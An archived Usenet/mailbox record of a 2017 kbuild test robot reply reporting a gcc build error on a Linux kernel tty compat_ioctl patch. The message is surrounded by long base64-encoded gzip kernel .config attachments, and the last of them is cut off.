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
VyK3FtOEosSR5kbaCE/ksQG//wO4APooU68BAA==

--2fHTh5uZTiUOsy+g--


From - Thu Nov 08 21:39:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <lkp@intel.com>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3 1/2] tty: add compat_ioctl callbacks
Date: Sat, 3 Jun 2017 22:31:42 +0800
Lines: 490
Approved: news@gmane.org
Message-ID: <201706032212.x2pL2Gkq%fengguang.wu@intel.com>
References: <20170603135111.5444-2-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="J/dobhs11T7y2rNN"
X-Trace: blaine.gmane.org 1496500360 22404 195.159.176.226 (3 Jun 2017 14:32:40 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 3 Jun 2017 14:32:40 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>, Arnd Bergmann <arnd@arndb.de>,
        linux-kernel@vger.kernel.org, linux-alpha@vger.kernel.org,
        linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
        linuxppc-dev@lists.ozlabs.org, linux-sh@vger.kernel.org,
        sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
        linux-arch@vger.kernel.org,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>,
        Aleksa Sarai <asarai@suse.de>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-sh-owner@vger.kernel.org Sat Jun 03 16:32:34 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1dHA6T-0005YO-Mg
	for glps-linuxsh-dev@m.gmane.org; Sat, 03 Jun 2017 16:32:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751163AbdFCOch (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Sat, 3 Jun 2017 10:32:37 -0400
Original-Received: from mga11.intel.com ([192.55.52.93]:29792 "EHLO mga11.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751154AbdFCOcf (ORCPT <rfc822;linux-sh@vger.kernel.org>);
        Sat, 3 Jun 2017 10:32:35 -0400
Original-Received: from fmsmga001.fm.intel.com ([10.253.24.23])
  by fmsmga102.fm.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 03 Jun 2017 07:32:34 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.39,290,1493708400"; 
   d="gz'50?scan'50,208,50";a="1156160044"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by fmsmga001.fm.intel.com with ESMTP; 03 Jun 2017 07:32:31 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1dHAA1-000Ayt-Ap; Sat, 03 Jun 2017 22:36:13 +0800
Content-Disposition: inline
In-Reply-To: <20170603135111.5444-2-asarai@suse.de>
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55377 gmane.linux.kernel:2491038 gmane.linux.ports.alpha:4229 gmane.linux.ports.mips.general:59372 gmane.linux.ports.parisc:27453 gmane.linux.ports.ppc64.devel:142825 gmane.linux.ports.sparc:25299 gmane.linux.kernel.cross-arch:36968
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55377>


--J/dobhs11T7y2rNN
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

Hi Aleksa,

[auto build test ERROR on linus/master]
[also build test ERROR on v4.12-rc3 next-20170602]
[if your patch is applied to the wrong git tree, please drop us a note to help improve the system]

url:    https://github.com/0day-ci/linux/commits/Aleksa-Sarai/tty-add-TIOCGPTPEER-ioctl/20170603-220322
config: x86_64-randconfig-x010-201722 (attached as .config)
compiler: gcc-6 (Debian 6.2.0-3) 6.2.0 20160901
reproduce:
        # save the attached .config to linux build tree
        make ARCH=x86_64 

All errors (new ones prefixed by >>):

>> cc1: error: -Werror=int-in-bool-context: no option -Wint-in-bool-context
   make[2]: *** [kernel/bounds.s] Error 1
   make[2]: Target '__build' not remade because of errors.
   make[1]: *** [prepare0] Error 2
   make[1]: Target 'prepare' not remade because of errors.
   make: *** [sub-make] Error 2

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--J/dobhs11T7y2rNN
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

H4sICAnDMlkAAy5jb25maWcAlFxbc+M2sn7Pr1BN9mH3IRnbM5kzqVN+AElQQkQSHAKULL+w
PLYmccVjzbHkXP796W6QIgA1ldqt2iRCNy4E+vJ1o+Hvv/t+Jl4Pu693h8f7u6env2e/bp+3
L3eH7cPsy+PT9n9nmZ5V2s5kpuyPwFw8Pr/+9favjx+6D+9n73+8vPrx4oeX+3ez5fblefs0
S3fPXx5/fYUBHnfP333/XaqrXM2BN1H2+u/h5w11D36PP1RlbNOmVumqy2SqM9mMRN3aurVd
rptS2Os326cvH97/AKv54cP7NwOPaNIF9Mzdz+s3dy/3v+GK397T4vb96ruH7RfXcuxZ6HSZ
ybozbV3rxluwsSJd2kak8pRWlu34g+YuS1F3TZV18NGmK1V1ffXxHIO4uX53xTOkuqyFHQea
GCdgg+EuPwx8lZRZl5WiQ1b4DCvHxRLNzIlcyGpuFyNtLivZqLRTRiD9lJC0c7axa2QhrFrJ
rtaqsrIxp2yLtVTzhY23TWy6hcCOaZdn6Uht1kaW3U26mIss60Qx142yi/J03FQUKmngG+H4
C7GJxl8I06V1Swu84WgiXciuUBUcsrr19okWZaRt666WDY0hGimijRxIskzgV64aY7t00VbL
Cb5azCXP5lakEtlUgtSg1saopJARi2lNLeH0J8hrUdlu0cIsdQnnvIA1cxy0eaIgTlskI8ut
hp2As3935XVrwQ5Q55O1kFqYTtdWlbB9GSgy7KWq5lOcmURxwW0QBWhebB46U9ZTXdu60Yn0
JCtXN50UTbGB310pPdmo51bA3oCAr2Rhrt8P7UcDASduwJS8fXr8/Pbr7uH1abt/+6+2EqVE
SZHCyLc/RnZCNZ+6tW68I0taVWTw4bKTN24+ExgJuwCBwS3JNfyjs8JgZzCQ38/mZHCfZvvt
4fXbaDJh62wnqxV8OS6xBPs5Gom0gSMnrVdw7G/ewDADxbV1Vho7e9zPnncHHNmzcKJYgVKC
WGE/phnO2OpI+JcgirLo5req5ikJUK54UnHrmw+fcnM71WNi/uIWncbxW71V+Z8a02lt5xhw
hefoN7fne2tmo4MVjyIn2gJ0UhuL8nX95t/Pu+ftf7zjM2tRM6OZjVmp2lORvgH/ndrC3xQw
BqAL5adWtpJdtpMd0BHdbDphwbMtmBnzhagy36S0RoJx9WciW8B0pRMjfSUOXCIo+CDuoDuz
/evn/d/7w/brKO5HfwOqRcrNuCIgmYVen1LQCoKhQQ6+W7rwBRdbMl0K8KdMG1hesIew/A1L
JasVUgCNpGDvnI4HBs/UojEyXFeKKMPoFvqAAbbpItOxifRZMmEF33kF3i5DZ1cI9CGbtGA2
jWzSajyD2GPieGAZK8u4aY/YJY0WWQoTnWcDjNKJ7JeW5Ss1Wu7MYRASBvv4dfuy5+TBqnTZ
gQOCA/eGWtyi+1Q6U6kviZVGigJ5ZSXekfO2KBhpJaI3AwATsPuGNo6wCy0UHPZbe7f/fXaA
Fc/unh9m+8PdYT+7u7/fvT4fHp9/HZe+Uo11ICFNdVtZJxHH1dCXhWRmWcwguJH+QCh6dLz8
QEe+xGSoUqkEtQdWyzKhR0J4aHwqfXqTtjPDHFAjwUGmrb8i+An+D06IMwvGMfvdoyZcQhc0
4YCwqqJAv1bqKqQ4/CrnaUIufFQSDbjzxnYI2JeBPsYUp7rB6fSfRSyS+Qzy9IC0qyvPHKtl
H2yctNDOj82FxhFysGMqt9eX/+O342kDePfpR4dfN4Cll50RuYzHeBfY3RaiJ4c/AMxmTjen
UFTVAvBPRCGq9BSmETZM0D7BMG2F4QOgwy4vWjOJ/WCNl1cfPbwbTzCqZEA5ekZZ4dozZtvT
eaPb2vhjgAtLJyS+WPYdJkdy++MBSKGajqWkOVg/cIZrlfkBEqhnyD46WNdeq8xMT98EQVXf
mIPw3VK4Ow5Wg+O1ZwbK5EqFItwToOektg9LlE1+bmTn6UZwotPlkQhuiR96IdMlhX5oRq1u
Jmwy4B/wjmCUOFNBQoc4lCYL1rAxOYYOdSNTcCScqDRh7IfCAJtEgLrxzpV+ixJGc/7Ug8NN
FkFdaIgQLrSEwBYafDxLdB39DtBrmh5jJTRDdBiY1qhYsxNzhxHqEQYOalkBjleVzvwYyTGB
gU5lTWElmbgIadepqZewGIjhcTXeNtb5+MMZeS8HAsqrQFAD0TUQT5Zg07sefbBy4M7zHzhw
2edYHOZ1HpvD4tDPbEpvK4aWLgBFY2tidNECsoKvBDViOBIIC4+ZDi/YJDMd/+6qUvmhomdq
T7d7NGI4xQRoyWFxXgpD1tr/DqPmlShyT9Zpa/wGgmt5YLbggLlNHsZcuKh6RP9Ks2chspWC
hfcjGZYHJYUMfs7pb52q7lOrmmVs7RPRNIDN2SEp65Kx9sDJNczYxUCXGmEx3aqMUhB1ennx
fgB/fW6z3r582b18vXu+387kH9tngH8CgGCKABBQ7AiN2Ln6bMfpjMdPWJWuU0dojhdlU7RJ
HIIMyT/KR4xqU4hkYoCQTSe82kF/ckiIrboGHKAupxbk0lmNVSIIRUEGrCzJVXQrgO25Simf
xetwo3NV8GCYDBX5FG9D00YYCJW0n9VayhuZRm10/NoN7zUPLaicTj9G2i9tWUNUlUhfqQAc
QxCzlBswV7LIMcHiRcfHhNTxg2heSnyDlQGNRI+WIgifElGZwwYpFIC2CntEeAvlB2EoIH4A
92sR52QUfD/iNViTjUjLOHHmWhtpWQK4HL6Da4UArcs5LxIYvDEfQKwLrZcRERPQCM3VvNUt
E4gaOA6M7voQO9oOzN0CRupTGgyMBbywAbyB0TC5I7peiJbQyDnY/Spzqf5+3ztRx9+RFtzi
gS/WSqIt1qCWUjg8FNFKdQMHPJINrSFiQksJ7bZtKohULaiQL6exZWP2najMwIMhavoPztoy
FiPaP04V+l135+xikrSsMT8fj9BLsdtxSvXG2+n6uQTkBC3TbZDcHhdnZIrGrwM9tif7MgfI
VBftXFW+RAWNR10dmzGPQha1kDfKbhhd9XgNgDW9mhgIXDrqMvy/0fWGtXn+ULRFBQjDlHkA
Xjoq1GqZArCOwGRI5CFkyAMSVcmzo6DktIXgXe4pN3yEZg34eGRrZRf0uSh0eYNRQHzsk9E7
kacTI4EJPM2NTBikCnN0sr8pYSR0kq+r24zjpRsXcO+sOhmd2y6DT/DsVKmztgBjimYdHAvB
SuZzUB7R4FIaFLePMYPUnVz16QXW6c1jxEATsBY27DVeZjLjejeRU4P4LMxQPZnYEQOfyke9
Ge5TbBFTnWD1qVGlg4SZd0YAHRgxxcvOpB3Mvh+DY5pw9M95PunEafhVf9maBohsbOWBM/bU
FJmJYrg/aNY3/xXzkElhljf6Sgs+1XqdfJAzSYq7O6ntedxFFtjCHz7f7bcPs98dYv72svvy
+OSSo57R06t+hnOrJLYBo7kwLTzIARw48LCQqJwsQBUJXrsFmZsS4ydfsijYMojJry+9mMNp
JjPqoLOULiwA0bSeuidh0g0TECY1ChT7UxugxiE1kZggz+I1F4oD8WNKw8p5oyyT7cDL2yxs
TsuMLrfpTqKJJ1wnfKrIDYixS84Hc/R54OR1LYIDpTOv714Oj1gLMrN/f9vufTmggIHyEBAy
YtaDi90Atc3FyOoZTZNpwxFkrrhmOpPetoTbUn7CiPOkDf2M0oNsQ7Br7n/b4u2wH+kp7VJV
ldb+/VLfmoGJwh33t3qgpfkndjeHTOjQl9mTgSWcdGjtJ7h+87zbffNuFuGT4nVxcj1yLTeJ
j6mG5iT37rKEqS69IKiiK39QpBpcfFudyz0LqxGQN6V3nUda6TqDVOh15c/vikAmiHS4E7Rj
yERXohmx0S3ayDJNiTs3a77rSfuYynV68LK73+73u5fZAfSALpC+bO8Ory9bT5qGggvPHvug
HMsicikgFpAufRqR8BZwoGN0GiBc5Li5AseWMqeOxLImu+BBZV1kuaJk/yi9YHDAL2QQ0k4M
A8hNVhmWuTApLWRYwTexko/EYc5JBreAoja8LUIWUY6T99lxztVrk3dlogIBp5Y4kMMxj2Lb
X5vnQhVtEyi20w4Qautg7VD+xAGFDURfK2UAMc9DhwBHINDw+AMPbW5dfO5kYDlKML87smJW
s1yVx2WMtQ2r8rzVP0555gYyZo0uowBSJVrbKK9YLj+yE5a1SXkCpnv4+o4SrQwXwg030n5u
dxCvBtPmfTGYu2L74LMUl9M0a6Iqpj6EjWod8SZ8FbaUqlJlWxLUzMHpFZvrD+99BjoMCBBL
E3ju/l4XYy9ZyJQDQDgkyK9THS991jeDupw2poClROtH1LW0cZYsKwOUPAenC0pUli0fLYoC
ODanHIP+rJUOys+IsVvIog7BSiluIhMyyBPV1Rlv45xOmtKeKmrJ2cEajHZZ25O4eGhf6QKk
HL5iIoNJXGfGJSUJD54SHxhwRJKj9NAYGLdGNhovJvAKKGn0UlakQxgUcjCVRMvPzvUNeIVc
yLlINyekWE6G5kBOhkYMw8wCjHa8TjfQL7xEkqoAYAe43a2GVIZzk16K/evu+fGwewlKK/xc
l3MFbRVme085GlEX5+hpVBXrc5Av0etQAFflxw8TXzUU2nSybAsRIlD10bN9gH1Ac8HQBJI9
NLqVcfDsyBEcx9gMR+GMWC7CS2E6FMMncsgk1a1iATgCoHqxgb3IsqazcSm3K7bGFChLJtOl
Gjjkbp5g1sQDLVgD4A0EWx229GWgIq1VRKGLTSyuArCHgtQNN51hfYFkDU3fObTeDpwSAgJ/
1NchxNj1SO6xdkwnCzxABIgQfTVSBepbMaACzFC08vrir4ft3cOF97+j6To32LiSUlSt4Cje
ZmGVDF3Q1njbEd4Ju0y0mwSslJG+ffL24wYC3VJypBX8AxMb8ZaNHHTR1bnV1p3Vc4lnFpjk
eLSp7ApeAoYgImimr+uC1JuTTwVa2WRM9/7TAYsVJ+kicNJUSYODsnpDc/cQxpX2TrL28yy0
xXwv5/7qApBjbV2Yim7sffAJbnsHNjRLtv+SoPRXpPEF29FEzJvIIJ3R6gQcle82HNLTmBwL
UKLh0NUQiZJYuILArLl+f/FzpG2TmDrcMwZrL9agRoZKHGIX4xVynaZsOXRUSFERoAu2suTi
m9ta6yAPdZu0GTv57bscLDFPMu7m9wwspUL24RZvKoCGXZZNE16uUE2LZ3PwyozavVx6YPVr
lFwHBKY9Axb0dAmER3ix2rT1hIQ5eGIgssGM2Bph2Cj+tuECIfoil6+OV2Z4KzDGgICs4z49
YbBmdCuB+SW8s+WLBnLF3327eyVe6W+7y4uLKdLVT5Okd2GvYLgLz6DdXl/6foDQ6qLBqtFA
9fCmm607xxvw/qo75HZ38BssD5koDMcLdbwI5CAsGAuFUBXQEsSnF39dhv6qkYhkbe8DxorQ
4TKCMqznxqW7Qhj3yg077pwzmWgT2VU76R2RV0UlOdzTh4jRQbRgtSdj6Wqihr5PpYLx5yuS
wGHjVheZPVNTQ/6jgNXWWGYZKXpv8EPH4eXazFCd5LAOeT6VHYH07s/tywyA9N2v26/b5wNl
nBBJzXbfMB0bZGL7d0Tc6fgPacrTikBoG5K3p+mJwR0A02mdu99KgSWENdeXVxfebO6q/TjX
+pOD4t49zJnLjtS/uScI2R8uiag5ydm7Kyp8ldbf42CX2n+FRi19SYtbCAUOxnsROF7PpENB
wHyiXsmND6g9N260iY8AxVp1GjS3UZn0X3qFI4F203TsxRRxiPhTEmEBiG7i1tbaEAZR8wpm
5565EDEXpx0ynXI32USjJEcj4TyD0pZhR1w+Iw7LIrIKHqeExJPFjN3EfN6AHPAX5MTbB6bR
2FGsQl/RGqtBJwzoeB4/w4o5zt10uWlJ29saUFoWf1hMY8TsjIylCou8puJw0LMhrRMtXldW
gI2b3KjBMCsdJyqcpiS8z3V9JQ+O/G0rIUzQZ9gA+7RodxaA7NeA8zpdFTyKcSeYn3msRApS
y5OipaG9L6wJR0QCf4dT2/xUqSOFvQH8PpHNxYsRDdHYfKpWbjgg+G9W4U2urseHK7P8Zft/
r9vn+79n+/u7+Dp2UMaTqzvsqR6etmP2BVl7vQu6E86c61VXANJnBSbgKmUVvBohRcAo1Yx8
qW7rYkJIHMyLX/vQmpPX/eDgZv8GyZ9tD/c//sfLH/kXfagZLjcRuDRoLUv3Y6I41b0EM3Gv
tEquLgrpalf5kwW3ha4CwqiJoan6IAzJwpUZXuRoWdP3Aymqi4vDe1yBxfWTvMa23LXzwvYv
2QJmpVeTA9XN9HJrYdiME9KGgrMTFIhnGh96tt0//vq8vnvZzpCc7uA/zOu3b7sXmLGHQ9D+
225/mN3vng8vu6cnAEcPL49/uMvcI4t8fvi2e3w+BAIDO5YN9XvBBwzt5zSR+Oq866tFjzPt
/3w83P/GLyc8ijVmxgEnWRbu9xUrXszn3uuHlYuUW0vC9WNChD2bBrpmE8XdFJltTJ6cHIL8
a3v/erj7/LSlvxsxozTuYT97O5NfX5/uBszZj4MVGaXFcqVxkfAjTOX2TCZtVB1svrPNABi5
0gjXqVQmcEk4chzZjAZFvLsaM7YTjvLGfwYf1xH0NUuYlW8xZYmxTBnm0voHu3FPd7ezojPT
tZ8dlUeBqbaHP3cvv4Ph5tB7DaG95LairVQQIuNvMHiCtxEwHwbKExZX8kkWaMd38Bgwl2LC
6OHAta0BzgsArzk/wzAQhIOERwD8lfXUg0ZgdhWfvHO0JdueAIKe8+HcqhBV9/Hi6nKqJiOd
2oCiSPmrR1VPFG5ZUfD7dHP1Ez+FqPkK/Xqhp5alpJT4PT+9nzwSSizwn5vy80HAUAqq1uE3
EZ+HRU/V/BkhYF5Oi19ZT7wVWRgOUDS+qjQ5PWwNbq3Cp4L9ozUSxWbCtnk8TlQ554TUBp9o
mk0XPrpJPhWB8nZ5odf9H24I9Xh22O4PEQpbiBLA/dTKBA8DVZPxb/AmSrmMBRBQ9vVfzMet
Ff7BCxPuXD5HQbrkRVMlJ0T3VUOv5+32YT877Gaft7PtM7qHB3QNs1KkxDC6hKEFo2qqz6S3
sPTMzcsGrRW08m4rX6qJ52F4Gj/zpj8VKuf75Hy1QW0E1oZPzqNynlasbVtFJY+jxuH7fcxB
s1SQyw6Ee0I/cFJwIKhdXNpfbChV1HNE8Y3EN1+/jAKabf94vN/OshAZ0R8oebzvm2f6W+TM
W/dq6XhTzzWD0NmF98IS1mPLOg9EbWjrSrwmn5BgUWWi0GztGkRMNGOumpICQnqqPS4oB3XU
Igtj3SOzqqaLUvH6SxxZvc84DumeUpwWK7AMXQ5QPJmsAy7QcCAmOAtaXHVO1qjVhB/sGeSq
YStYHRlxaT8IRAilXoU1TRvjFSvxwjmW0vTFVtxkPhdGHtFf+IBQN7jpcL875T+x79uMj2uP
beVpY1kqfTqi/4c4EHLRX0XK8Dl9Hpa2wHHLKpXHN7LH8PKBdCRAYPCv6uTRhXf3wbtZzT29
jtOQgBjBXMfpxb6J04HK20b40R8zACrTX74P5YiH3f3uyX+0WNVh0rSvJPbnHYqLq7Yo8Afv
fHqmnP/sgYyxsDEZbI+q313d8EadypbrT12qjOmmnF0/YCbSnz/wty8DS1vKCWzYM6Sgee4v
TZxlK7SuT3xe1iTZ7OFx75zc5+393eseItIGYm4IDcHnEYp2XZ6294ftgy9Dx61Nzm+bWf4D
/YYvnxvojeB3IM0aDdBgadNsNZF0A7+MiehOWr4+01VM/6NcNCY87MGPrUo5vNw83RUgcsGe
R6YSew+BYVMuAPSnJm5NowYrmrkMFMxrPjlslilEC3Sw5eP+nrMWRlZgTA3+2bF3xf9T9iTN
jeM6/xUfZ6pev9a+HOYgU7KtiSSrTdlWcnF5Evd0atJJKkm/6fn3H0FqISlQnu/QiwGIO0EA
BMCD5aBeN6nv+ExZq+UATgnYscZxbiQU45AYu9+X5a1uvsmX5Smh+IKoN0mleU+OXViD2Yfg
ykWTr0o+kZi5gtDYdahn2XIzGKMtthTcluH2WD9CRhmZ8e8CvYSoUxoz4TEpFENI4cSW5eoQ
R7pr7aeiYRjfRxDLjR2GlnIkdhheZ2xhK3lTksD1JWtBSu0gkn43OTCr0Lcl2J4uO0MP4xZJ
7EVSa4qkadionDJSu52xSWoq29FGy5QhCxxx9BNFQNgqYaUluxPTHK3Jgs4yxszKxftgWhsn
kGMYh3A8pLYR6yuzLsBT7wMVz+T9IAp9yU4k4LFL2gCBtq0XINXkaXOK4k2dUfykIcvQtibL
ViSpuvw8vy/y5/ePtx/fedj/+7fzG+PxH2/n53cYi8XT4/MFeP/94yv8Vx6bBsyp+C6SGAFs
6EnFydPH5e28WNXrZPH18e3732DifHj5+/np5fywELkKxwM8AYtIAiJyrZhOe68I3BI7YE8l
rn2MBE1rsJ4IAfpQIrbZ/Pnj8rQoc8JlJ6FByKPTlc5Th05TT1HCtDP8Q0Ch3xwYt8Y/YRj0
i7GNGzARDx9qSHJ+e9CQvH1G+pfXIeiDfpw/LotyvI7/hWxp+auuaUHbp+1mwvPxC8ZNM7LZ
Kpu4LSZuFgoyWe17YX9bG0MYc/kCUvwQQuPT5cwkmvcL0xBf7vlW4Hbdz48PF/jz34+fH1y5
/3Z5ev38+Pz1ZfHyvGAFCNu2HDaVZqeWCdzcr1GpC4x/eSVHqwOQiR5qROYQAMeQ1JSJCJBr
7HSVviZajNwABmeZ5RYicne77Y4aKmftwkdbouFeF8hRCJ2FdATsIJVT9/BrfiE09gMPQ3j/
